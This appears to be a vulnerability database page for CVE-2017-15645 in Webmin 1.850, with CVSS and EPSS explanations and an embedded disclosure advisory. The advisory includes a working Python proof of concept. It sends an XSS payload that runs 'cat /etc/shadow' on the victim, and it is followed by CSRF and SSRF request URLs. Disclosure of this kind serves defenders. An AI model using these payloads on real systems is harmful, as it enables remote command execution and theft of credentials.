CVE-2017-15645 : Detail

CVE-2017-15645

8.8
/
High
Cross-Site Request Forgery - CSRF
A01-Broken Access Control
0.44%V3
Network
2017-10-19
22h00 +00:00
2024-09-16
17h53 +00:00
CVE.org
NVD
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CVE Descriptions

CSRF exists in Webmin 1.850. By sending a GET request to at/create_job.cgi containing dir=/&cmd= in the URI, an attacker to execute arbitrary commands.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-352 Cross-Site Request Forgery (CSRF)
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 42989

Publication date : 2017-10-14 22h00 +00:00
Author : hyp3rlinx
EDB Verified : No

[+] SSD Beyond Security: https://blogs.securiteam.com/index.php/archives/3430 [+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/WEBMIN-v1.850-REMOTE-COMMAND-EXECUTION.txt [+] ISR: ApparitionSec Vulnerability summary The following advisory describes three (3) vulnerabilities found in Webmin version 1.850 Webmin “is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS, file sharing and much more. Webmin removes the need to manually edit Unix configuration files like /etc/passwd, and lets you manage a system from the console or remotely. See the standard modules page for a list of all the functions built into Webmin.” The vulnerabilities found are: XSS vulnerability that leads to Remote Code Execution CSRF Schedule arbitrary commands Server Side Request Forgery Credit An independent security researcher, hyp3rlinx, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program Vendor response The vendor has released patches to address these vulnerabilities. For more information: https://github.com/webmin/webmin/commit/0c58892732ee7610a7abba5507614366d382c9c9 and http://www.webmin.com/security.html Vulnerability details XSS vulnerability that leads to Remote Code Execution Under Webmin menu ‘Others/File Manager‘ there is option to download a file from a remote server ‘Download from remote URL‘. By setting up a malicious server we can wait for file download request then send a XSS payload that will lead to Remote Code Execution. Webmin echo back the ‘File Download‘ request status which we can trigger the XSS vulnerability and bypass this Referrer check by setting the domain=webmin-victim-ip. Proof of Concept import socket #=================================================== #Run this script and listen for file download from webmin #Enter payload to execute RCE #wait for webmin to connect and download file #Vulnerability is in Menu/Others/File Manager #issue is webmin echoes back status of the download #by injecting XSS we bypass the Referer: check by assign #domain to victims own IP, then execute our RCE #----------------------------------------------------------- #e.g. #Download from remote URL #http://x.x.x.x:10000/shell/index.cgi #> whoami #root PORT=int(raw_input("[PORT]> ")) #port we listen on for file download requests WEBMIN_IP=raw_input("[Webmin IP]> ") #victim #Read /etc/shadow file CMD=("/><script>document.domain='http://"+WEBMIN_IP+":10000/shell/index.cgi'</script>"+ "<form action='https://"+WEBMIN_IP+":10000/shell/index.cgi' method='POST' enctype='multipart/form-data'>"+ "<input type='hidden' name='cmd' value='cat /etc/shadow'><script>document.forms[0].submit()</script></form>") s = socket.socket() HOST = '' s.bind((HOST, PORT)) s.listen(5) print '\nwebmin file download 0day...' while True: conn, addr = s.accept() conn.send(CMD+'\r\n') print 'Connected!' print s.recv(1024) conn.close() s.close() CSRF Schedule arbitrary commands User controlled input is not sufficiently sanitized, by sending GET request to create_job.cgi with the following parameter dir=/&cmd=ls an attacker to execute arbitrary commands. Proof of Concept http://x.x.x.x:10000/at/create_job.cgi?user=root&day=31&month=7&year=2017&hour=2&min=00&dir=/&cmd=ls -lt&mail=0 Server Side Request Forgery User controlled input is not sufficiently sanitized, by sending GET request to tunnel/link.cgi/http://VICTIM-IP:8000 an attacker can trigger the vulnerability Proof of Concept http://x.x.x.x:10000/tunnel/link.cgi/http://VICTIM-IP:8000 Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ==================== Would like to acknowledge Beyond Security’s SSD program for the help with co-ordination of this vulnerability. More details can be found on their blog at: https://blogs.securiteam.com/index.php/archives/3430 [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c).

Products Mentioned

Configuraton 0

Webmin>>Webmin >> Version To (including) 1.850

References